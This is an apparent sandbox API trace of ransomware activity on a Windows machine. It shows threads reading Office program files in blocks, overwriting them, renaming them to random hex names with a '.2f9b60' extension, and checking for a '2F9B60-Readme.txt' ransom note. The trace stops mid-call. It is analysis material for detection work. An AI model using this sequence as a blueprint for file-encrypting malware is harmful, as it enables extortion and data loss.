[0124.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cda0670 [0124.040] sprintf (in: _Dest=0x1cda0670, _Format="%c%c" | out: _Dest="ee") returned 2 [0124.040] sprintf (in: _Dest=0x1cda0672, _Format="%c%c" | out: _Dest="a2") returned 2 [0124.040] sprintf (in: _Dest=0x1cda0674, _Format="%c%c" | out: _Dest="86") returned 2 [0124.040] sprintf (in: _Dest=0x1cda0676, _Format="%c%c" | out: _Dest="a8") returned 2 [0124.040] sprintf (in: _Dest=0x1cda0678, _Format="%c%c" | out: _Dest="19") returned 2 [0124.040] sprintf (in: _Dest=0x1cda067a, _Format="%c%c" | out: _Dest="bf") returned 2 [0124.040] sprintf (in: _Dest=0x1cda067c, _Format="%c%c" | out: _Dest="db") returned 2 [0124.040] sprintf (in: _Dest=0x1cda067e, _Format="%c%c" | out: _Dest="d0") returned 2 [0124.040] sprintf (in: _Dest=0x1cda0680, _Format="%c%c" | out: _Dest="a8") returned 2 [0124.040] sprintf (in: _Dest=0x1cda0682, _Format="%c%c" | out: _Dest="96") returned 2 [0124.040] sprintf (in: _Dest=0x1cda0684, _Format="%c%c" | out: _Dest="09") returned 2 [0124.040] sprintf (in: _Dest=0x1cda0686, _Format="%c%c" | out: _Dest="d6") returned 2 [0124.041] sprintf (in: _Dest=0x1cda0688, _Format="%c%c" | out: _Dest="c6") returned 2 [0124.041] sprintf (in: _Dest=0x1cda068a, _Format="%c%c" | out: _Dest="83") returned 2 [0124.041] sprintf (in: _Dest=0x1cda068c, _Format="%c%c" | out: _Dest="6c") returned 2 [0124.041] sprintf (in: _Dest=0x1cda068e, _Format="%c%c" | out: _Dest="a7") returned 2 [0124.041] sprintf (in: _Dest=0x1cda0690, _Format="%c%c" | out: _Dest="7d") returned 2 [0124.041] sprintf (in: _Dest=0x1cda0692, _Format="%c%c" | out: _Dest="b6") returned 2 [0124.041] sprintf (in: _Dest=0x1cda0694, _Format="%c%c" | out: _Dest="63") returned 2 [0124.041] sprintf (in: _Dest=0x1cda0696, _Format="%c%c" | out: _Dest="e4") returned 2 [0124.041] RtlInitAnsiString (in: DestinationString=0x277cfb08, SourceString="eea286a819bfdbd0a89609d6c6836ca77db663e4" | out: DestinationString="eea286a819bfdbd0a89609d6c6836ca77db663e4") [0124.041] RtlAnsiStringToUnicodeString (in: DestinationString=0x277cfad8, SourceString="eea286a819bfdbd0a89609d6c6836ca77db663e4", AllocateDestinationString=1 | out: DestinationString="eea286a819bfdbd0a89609d6c6836ca77db663e4") returned 0x0 [0124.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9c0d0 [0124.041] wcscat (in: _Dest=0x2050a2f0, _Source="eea286a819" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\eea286a819") returned="C:\\Program Files\\Microsoft Office\\Office14\\eea286a819" [0124.041] wcscat (in: _Dest=0x2050a2f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\eea286a819.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\eea286a819.2f9b60" [0124.041] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\eea286a819.2f9b60", NtPathName=0x277cfab0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\eea286a819.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0124.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x202b1370 [0124.043] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1370) returned 1 [0124.043] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf486d0) returned 1 [0124.043] NtQueryInformationFile (in: FileHandle=0xd10, IoStatusBlock=0x277cfb18, FileInformation=0x277cfb28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x277cfb18, FileInformation=0x277cfb28) returned 0x0 [0124.044] NtSetInformationFile (FileHandle=0xd10, IoStatusBlock=0x277cfb18, FileInformation=0x277cfb28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0124.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a2f0) returned 1 [0124.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c0d0) returned 1 [0124.046] FlushFileBuffers (hFile=0xd10) returned 1 [0124.163] CloseHandle (hObject=0xd10) returned 1 [0124.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x2050ab60 [0124.167] wcscpy (in: _Dest=0x2050ab60, _Source="C:\\Program Files\\Microsoft Office\\Office14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0124.167] wcscat (in: _Dest=0x2050ab60, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" [0124.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\2f9b60-readme.txt")) returned 0x20 [0124.167] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ab60) returned 1 [0124.167] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85de90) returned 1 Thread: id = 409 os_tid = 0xf94 [0090.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\JFONT.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\jfont.dat")) returned 0x20 [0091.045] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\JFONT.DAT", dwFileAttributes=0x20) returned 1 [0091.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\JFONT.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\jfont.dat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd20 [0091.047] GetFileSizeEx (in: hFile=0xd20, lpFileSize=0x2774fa00 | out: lpFileSize=0x2774fa00*=18844) returned 1 [0091.047] SetFilePointerEx (in: hFile=0xd20, liDistanceToMove=0x4998, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.047] ReadFile (in: hFile=0xd20, lpBuffer=0x2774f980, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2774f9c8, lpOverlapped=0x0 | out: lpBuffer=0x2774f980*, lpNumberOfBytesRead=0x2774f9c8*=0x4, lpOverlapped=0x0) returned 1 [0091.109] SetFilePointerEx (in: hFile=0xd20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.109] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7170 [0091.109] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7380 [0091.109] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7410 [0091.109] NtQuerySystemTime (in: CurrentTime=0x2774f8c0 | out: CurrentTime=0x2774f8c0*=132462176969614000) returned 0x0 [0091.109] RtlRandomEx (in: Seed=0x2774f8b0 | out: Seed=0x2774f8b0) returned 0x198c4f6b [0091.109] RtlRandomEx (in: Seed=0x2774f8b0 | out: Seed=0x2774f8b0) returned 0x175fcfc6 [0091.109] RtlRandomEx (in: Seed=0x2774f8b0 | out: Seed=0x2774f8b0) returned 0x5a1cfe8a [0091.109] RtlRandomEx (in: Seed=0x2774f8b0 | out: Seed=0x2774f8b0) returned 0x31e72b7c [0091.109] RtlRandomEx (in: Seed=0x2774f8b0 | out: Seed=0x2774f8b0) returned 0x26a8cc9a [0091.109] RtlRandomEx (in: Seed=0x2774f8b0 | out: Seed=0x2774f8b0) returned 0x7bbb66f6 [0091.109] RtlRandomEx (in: Seed=0x2774f8b0 | out: Seed=0x2774f8b0) returned 0x1b78f032 [0091.109] RtlRandomEx (in: Seed=0x2774f8b0 | out: Seed=0x2774f8b0) returned 0x532f82d7 [0091.109] RtlRandomEx (in: Seed=0x2774f8b0 | out: Seed=0x2774f8b0) returned 0x25a90e4a [0091.110] RtlRandomEx (in: Seed=0x2774f8b0 | out: Seed=0x2774f8b0) returned 0x71a3b3bf [0091.110] RtlRandomEx (in: Seed=0x2774f8b0 | out: Seed=0x2774f8b0) returned 0x51e9740f [0091.110] RtlRandomEx (in: Seed=0x2774f8b0 | out: Seed=0x2774f8b0) returned 0x616865cc [0091.110] RtlRandomEx (in: Seed=0x2774f8b0 | out: Seed=0x2774f8b0) returned 0x71a3b3bf [0091.110] RtlRandomEx (in: Seed=0x2774f8b0 | out: Seed=0x2774f8b0) returned 0x31e72b7c [0091.110] RtlRandomEx (in: Seed=0x2774f8b0 | out: Seed=0x2774f8b0) returned 0x45100389 [0091.110] RtlRandomEx (in: Seed=0x2774f8b0 | out: Seed=0x2774f8b0) returned 0x27d5c46 [0091.110] RtlRandomEx (in: Seed=0x2774f8b0 | out: Seed=0x2774f8b0) returned 0x6016e802 [0091.110] RtlRandomEx (in: Seed=0x2774f8b0 | out: Seed=0x2774f8b0) returned 0x532f82d7 [0091.110] RtlRandomEx (in: Seed=0x2774f8b0 | out: Seed=0x2774f8b0) returned 0x4c0ae09d [0091.110] RtlRandomEx (in: Seed=0x2774f8b0 | out: Seed=0x2774f8b0) returned 0x29b754b7 [0091.110] RtlRandomEx (in: Seed=0x2774f8b0 | out: Seed=0x2774f8b0) returned 0x4166ed12 [0091.110] RtlRandomEx (in: Seed=0x2774f8b0 | out: Seed=0x2774f8b0) returned 0x28f798a [0091.110] RtlRandomEx (in: Seed=0x2774f8b0 | out: Seed=0x2774f8b0) returned 0x117f1c3c [0091.110] RtlRandomEx (in: Seed=0x2774f8b0 | out: Seed=0x2774f8b0) returned 0x1def9f60 [0091.110] RtlRandomEx (in: Seed=0x2774f8b0 | out: Seed=0x2774f8b0) returned 0x53ebde0d [0091.110] RtlRandomEx (in: Seed=0x2774f8b0 | out: Seed=0x2774f8b0) returned 0x2b76e7c7 [0091.110] RtlRandomEx (in: Seed=0x2774f8b0 | out: Seed=0x2774f8b0) returned 0xcb22b88 [0091.110] RtlRandomEx (in: Seed=0x2774f8b0 | out: Seed=0x2774f8b0) returned 0x2f537c12 [0091.110] RtlRandomEx (in: Seed=0x2774f8b0 | out: Seed=0x2774f8b0) returned 0x7915091 [0091.110] RtlRandomEx (in: Seed=0x2774f8b0 | out: Seed=0x2774f8b0) returned 0x3dc44b70 [0091.110] RtlRandomEx (in: Seed=0x2774f8b0 | out: Seed=0x2774f8b0) returned 0x29f61a03 [0091.110] RtlRandomEx (in: Seed=0x2774f8b0 | out: Seed=0x2774f8b0) returned 0x1b78f032 [0091.118] SetFilePointerEx (in: hFile=0xd20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.118] ReadFile (in: hFile=0xd20, lpBuffer=0x201500b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2774f920, lpOverlapped=0x0 | out: lpBuffer=0x201500b0*, lpNumberOfBytesRead=0x2774f920*=0x3c00, lpOverlapped=0x0) returned 1 [0091.259] SetFilePointerEx (in: hFile=0xd20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c580 [0091.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866ac0 [0091.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7650 [0091.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7650) returned 1 [0091.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2012e130 [0091.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7650 [0091.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7680 [0091.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7680) returned 1 [0091.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866ac0) returned 1 [0091.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c580) returned 1 [0091.260] WriteFile (in: hFile=0xd20, lpBuffer=0x2012e130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2774f920, lpOverlapped=0x0 | out: lpBuffer=0x2012e130*, lpNumberOfBytesWritten=0x2774f920*=0x3c00, lpOverlapped=0x0) returned 1 [0091.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2012e130) returned 1 [0091.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201500b0) returned 1 [0091.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859670 [0091.685] SetFilePointerEx (in: hFile=0xd20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0091.685] WriteFile (in: hFile=0xd20, lpBuffer=0x1695e0*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2774f9d0, lpOverlapped=0x0 | out: lpBuffer=0x1695e0*, lpNumberOfBytesWritten=0x2774f9d0*=0x104, lpOverlapped=0x0) returned 1 [0091.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8f0 [0091.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d710 [0091.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ab40 [0091.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ab40) returned 1 [0091.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d000 [0091.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ab40 [0091.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8280 [0091.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8280) returned 1 [0091.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d710) returned 1 [0091.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8f0) returned 1 [0091.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x1ced8280 [0091.716] sprintf (in: _Dest=0x1ced8280, _Format="%c%c" | out: _Dest="54") returned 2 [0091.716] sprintf (in: _Dest=0x1ced8282, _Format="%c%c" | out: _Dest="5a") returned 2 [0091.716] sprintf (in: _Dest=0x1ced8284, _Format="%c%c" | out: _Dest="61") returned 2 [0091.716] sprintf (in: _Dest=0x1ced8286, _Format="%c%c" | out: _Dest="44") returned 2 [0091.716] sprintf (in: _Dest=0x1ced8288, _Format="%c%c" | out: _Dest="cf") returned 2 [0091.716] sprintf (in: _Dest=0x1ced828a, _Format="%c%c" | out: _Dest="12") returned 2 [0091.716] sprintf (in: _Dest=0x1ced828c, _Format="%c%c" | out: _Dest="df") returned 2 [0091.716] sprintf (in: _Dest=0x1ced828e, _Format="%c%c" | out: _Dest="f5") returned 2 [0091.716] sprintf (in: _Dest=0x1ced8290, _Format="%c%c" | out: _Dest="e3") returned 2 [0091.716] sprintf (in: _Dest=0x1ced8292, _Format="%c%c" | out: _Dest="93") returned 2 [0091.716] sprintf (in: _Dest=0x1ced8294, _Format="%c%c" | out: _Dest="fa") returned 2 [0091.716] sprintf (in: _Dest=0x1ced8296, _Format="%c%c" | out: _Dest="9d") returned 2 [0091.716] sprintf (in: _Dest=0x1ced8298, _Format="%c%c" | out: _Dest="f8") returned 2 [0091.716] sprintf (in: _Dest=0x1ced829a, _Format="%c%c" | out: _Dest="06") returned 2 [0091.717] sprintf (in: _Dest=0x1ced829c, _Format="%c%c" | out: _Dest="bb") returned 2 [0091.717] sprintf (in: _Dest=0x1ced829e, _Format="%c%c" | out: _Dest="93") returned 2 [0091.717] sprintf (in: _Dest=0x1ced82a0, _Format="%c%c" | out: _Dest="7e") returned 2 [0091.717] sprintf (in: _Dest=0x1ced82a2, _Format="%c%c" | out: _Dest="dc") returned 2 [0091.717] RtlInitAnsiString (in: DestinationString=0x2774fa48, SourceString="545a6144cf12dff5e393fa9df806bb937edc" | out: DestinationString="545a6144cf12dff5e393fa9df806bb937edc") [0091.717] RtlAnsiStringToUnicodeString (in: DestinationString=0x2774fa18, SourceString="545a6144cf12dff5e393fa9df806bb937edc", AllocateDestinationString=1 | out: DestinationString="545a6144cf12dff5e393fa9df806bb937edc") returned 0x0 [0091.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9df10 [0091.717] wcscat (in: _Dest=0x1b85d710, _Source="545a6144c" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\545a6144c") returned="C:\\Program Files\\Microsoft Office\\Office14\\545a6144c" [0091.717] wcscat (in: _Dest=0x1b85d710, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\545a6144c.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\545a6144c.2f9b60" [0091.717] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\545a6144c.2f9b60", NtPathName=0x2774f9f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\545a6144c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0091.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x1b7ae060 [0091.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ae060) returned 1 [0091.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0091.885] NtQueryInformationFile (in: FileHandle=0xd20, IoStatusBlock=0x2774fa58, FileInformation=0x2774fa68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2774fa58, FileInformation=0x2774fa68) returned 0x0 [0091.885] NtSetInformationFile (FileHandle=0xd20, IoStatusBlock=0x2774fa58, FileInformation=0x2774fa68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0091.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d710) returned 1 [0091.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9df10) returned 1 [0091.888] FlushFileBuffers (hFile=0xd20) returned 1 [0091.904] CloseHandle (hObject=0xd20) returned 1 [0091.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cf4d9b0 [0091.905] wcscpy (in: _Dest=0x1cf4d9b0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0091.905] wcscat (in: _Dest=0x1cf4d9b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" [0091.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\2f9b60-readme.txt")) returned 0x20 [0091.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4d9b0) returned 1 [0091.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85df10) returned 1 Thread: id = 410 os_tid = 0xf98 [0090.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP" (normalized: "c:\\program files\\microsoft office\\office14\\latin1.shp")) returned 0x20 [0091.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", dwFileAttributes=0x20) returned 1 [0091.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP" (normalized: "c:\\program files\\microsoft office\\office14\\latin1.shp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd1c [0091.045] GetFileSizeEx (in: hFile=0xd1c, lpFileSize=0x2795fbc0 | out: lpFileSize=0x2795fbc0*=564846) returned 1 [0091.045] SetFilePointerEx (in: hFile=0xd1c, liDistanceToMove=0x89e6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.045] ReadFile (in: hFile=0xd1c, lpBuffer=0x2795fb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2795fb88, lpOverlapped=0x0 | out: lpBuffer=0x2795fb40*, lpNumberOfBytesRead=0x2795fb88*=0x4, lpOverlapped=0x0) returned 1 [0091.100] SetFilePointerEx (in: hFile=0xd1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7170 [0091.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced72f0 [0091.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7380 [0091.100] NtQuerySystemTime (in: CurrentTime=0x2795fa80 | out: CurrentTime=0x2795fa80*=132462176969458000) returned 0x0 [0091.100] RtlRandomEx (in: Seed=0x2795fa70 | out: Seed=0x2795fa70) returned 0x6be9cb51 [0091.100] RtlRandomEx (in: Seed=0x2795fa70 | out: Seed=0x2795fa70) returned 0x43bd0ec6 [0091.100] RtlRandomEx (in: Seed=0x2795fa70 | out: Seed=0x2795fa70) returned 0x7f13bcd2 [0091.100] RtlRandomEx (in: Seed=0x2795fa70 | out: Seed=0x2795fa70) returned 0x3502aa81 [0091.101] RtlRandomEx (in: Seed=0x2795fa70 | out: Seed=0x2795fa70) returned 0x644a4479 [0091.101] RtlRandomEx (in: Seed=0x2795fa70 | out: Seed=0x2795fa70) returned 0x34226a3a [0091.101] RtlRandomEx (in: Seed=0x2795fa70 | out: Seed=0x2795fa70) returned 0x40d89caa [0091.101] RtlRandomEx (in: Seed=0x2795fa70 | out: Seed=0x2795fa70) returned 0x5b4363d4 [0091.101] RtlRandomEx (in: Seed=0x2795fa70 | out: Seed=0x2795fa70) returned 0x785a31f1 [0091.101] RtlRandomEx (in: Seed=0x2795fa70 | out: Seed=0x2795fa70) returned 0x6df884d4 [0091.101] RtlRandomEx (in: Seed=0x2795fa70 | out: Seed=0x2795fa70) returned 0xe0f647c [0091.101] RtlRandomEx (in: Seed=0x2795fa70 | out: Seed=0x2795fa70) returned 0x2c503e92 [0091.101] RtlRandomEx (in: Seed=0x2795fa70 | out: Seed=0x2795fa70) returned 0x3a013bcd [0091.101] RtlRandomEx (in: Seed=0x2795fa70 | out: Seed=0x2795fa70) returned 0x5fa452a4 [0091.101] RtlRandomEx (in: Seed=0x2795fa70 | out: Seed=0x2795fa70) returned 0x74aa0ff3 [0091.101] RtlRandomEx (in: Seed=0x2795fa70 | out: Seed=0x2795fa70) returned 0x48881ead [0091.101] RtlRandomEx (in: Seed=0x2795fa70 | out: Seed=0x2795fa70) returned 0x2fff36be [0091.101] RtlRandomEx (in: Seed=0x2795fa70 | out: Seed=0x2795fa70) returned 0x213841ec [0091.101] RtlRandomEx (in: Seed=0x2795fa70 | out: Seed=0x2795fa70) returned 0x6eb1db41 [0091.101] RtlRandomEx (in: Seed=0x2795fa70 | out: Seed=0x2795fa70) returned 0x3107f6e1 [0091.101] RtlRandomEx (in: Seed=0x2795fa70 | out: Seed=0x2795fa70) returned 0x576e88a0 [0091.101] RtlRandomEx (in: Seed=0x2795fa70 | out: Seed=0x2795fa70) returned 0x2f537c12 [0091.101] RtlRandomEx (in: Seed=0x2795fa70 | out: Seed=0x2795fa70) returned 0x9a87cc1 [0091.101] RtlRandomEx (in: Seed=0x2795fa70 | out: Seed=0x2795fa70) returned 0x5aa856f5 [0091.101] RtlRandomEx (in: Seed=0x2795fa70 | out: Seed=0x2795fa70) returned 0x2e503fdf [0091.101] RtlRandomEx (in: Seed=0x2795fa70 | out: Seed=0x2795fa70) returned 0x3107f6e1 [0091.101] RtlRandomEx (in: Seed=0x2795fa70 | out: Seed=0x2795fa70) returned 0x45399361 [0091.101] RtlRandomEx (in: Seed=0x2795fa70 | out: Seed=0x2795fa70) returned 0x5a1cfe8a [0091.101] RtlRandomEx (in: Seed=0x2795fa70 | out: Seed=0x2795fa70) returned 0x625b9979 [0091.101] RtlRandomEx (in: Seed=0x2795fa70 | out: Seed=0x2795fa70) returned 0x54c52d72 [0091.101] RtlRandomEx (in: Seed=0x2795fa70 | out: Seed=0x2795fa70) returned 0x698fb402 [0091.101] RtlRandomEx (in: Seed=0x2795fa70 | out: Seed=0x2795fa70) returned 0x5a3a6477 [0091.108] SetFilePointerEx (in: hFile=0xd1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.108] ReadFile (in: hFile=0xd1c, lpBuffer=0x2014c1b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2795fae0, lpOverlapped=0x0 | out: lpBuffer=0x2014c1b0*, lpNumberOfBytesRead=0x2795fae0*=0x3c00, lpOverlapped=0x0) returned 1 [0091.267] SetFilePointerEx (in: hFile=0xd1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c580 [0091.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e190 [0091.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a5a0 [0091.268] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a5a0) returned 1 [0091.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20131d40 [0091.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a5a0 [0091.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7680 [0091.268] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7680) returned 1 [0091.268] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e190) returned 1 [0091.268] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c580) returned 1 [0091.268] WriteFile (in: hFile=0xd1c, lpBuffer=0x20131d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2795fae0, lpOverlapped=0x0 | out: lpBuffer=0x20131d40*, lpNumberOfBytesWritten=0x2795fae0*=0x3c00, lpOverlapped=0x0) returned 1 [0100.419] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20131d40) returned 1 [0100.419] SetFilePointerEx (in: hFile=0xd1c, liDistanceToMove=0x47400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.419] ReadFile (in: hFile=0xd1c, lpBuffer=0x2014c1b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2795fae0, lpOverlapped=0x0 | out: lpBuffer=0x2014c1b0*, lpNumberOfBytesRead=0x2795fae0*=0x3c00, lpOverlapped=0x0) returned 1 [0100.434] SetFilePointerEx (in: hFile=0xd1c, liDistanceToMove=0x47400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c6c0 [0100.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866cc0 [0100.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202639b0 [0100.435] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202639b0) returned 1 [0100.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420100b0 [0100.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, 